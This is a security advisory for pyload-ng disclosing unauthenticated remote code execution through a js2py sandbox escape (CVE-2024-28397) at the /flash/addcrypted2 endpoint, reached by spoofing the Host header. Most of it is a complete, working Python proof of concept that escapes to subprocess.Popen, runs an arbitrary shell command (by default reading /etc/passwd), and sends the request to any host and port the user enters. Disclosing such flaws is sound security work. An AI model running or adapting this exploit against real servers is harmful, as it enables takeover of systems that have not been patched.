GHSA-r9pp-r4xf-597r pyload-ng vulnerable to RCE with js2py sandbox escape

• PyPI pyload-ng: <= 0.5.0b3.dev85 (no fix yet)

Summary Any pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately. Details js2py has a vulnerability of sandbox escape assigned as CVE-2024-28397, which is used by the `/flash/addcrypted2` API endpoint of pyload-ng. Although this endpoint is designed to only accept localhost connection, we can bypass this restriction using HTTP Header, thus accessing this API and achieve RCE. PoC The PoC is provided as `poc.py` below, you can modify the shell command it execute: ```python import socket import base64 from urllib.parse import quote host, port = input("host: "), int(input("port: ")) payload = """ // [+] command goes here: let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;" let hacked, bymarve, n11 let getattr, obj hacked = Object.getOwnPropertyNames({}) bymarve = hacked.__getattribute__ n11 = bymarve("__getattribute__") obj = n11("__class__").__base__ getattr = obj.__getattribute__ function findpopen(o) { let result; for(let i in o.__subclasses__()) { let item = o.__subclasses__()[i] if(item.__module__ == "subprocess" && item.__name__ == "Popen") { return item } if(item.__name__ != "type" && (result = findpopen(item))) { return result } } } n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate() console.log(n11) function f() { return n11 } """ crypted_b64 = base64.b64encode(b"1234").decode() data = f"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}" request = f"""\ POST /flash/addcrypted2 HTTP/1.1 Host: 127.0.0.1:9666 Content-Type: application/x-www-form-urlencoded Content-Length: {len(data)} {data} """.encode().replace(b"\n", b"\r\n") def main(): s = socket.socket() s.connect((host, port)) s.send(request) response = s.recv(1024).decode() print(response) if __name__ == "__main__": main() ``` Impact Anyone who runs the latest version (<=0.5.0b3.dev85) of pyload-ng under python3.11 or below. pyload-ng doesn't use js2py for python3.12 or above.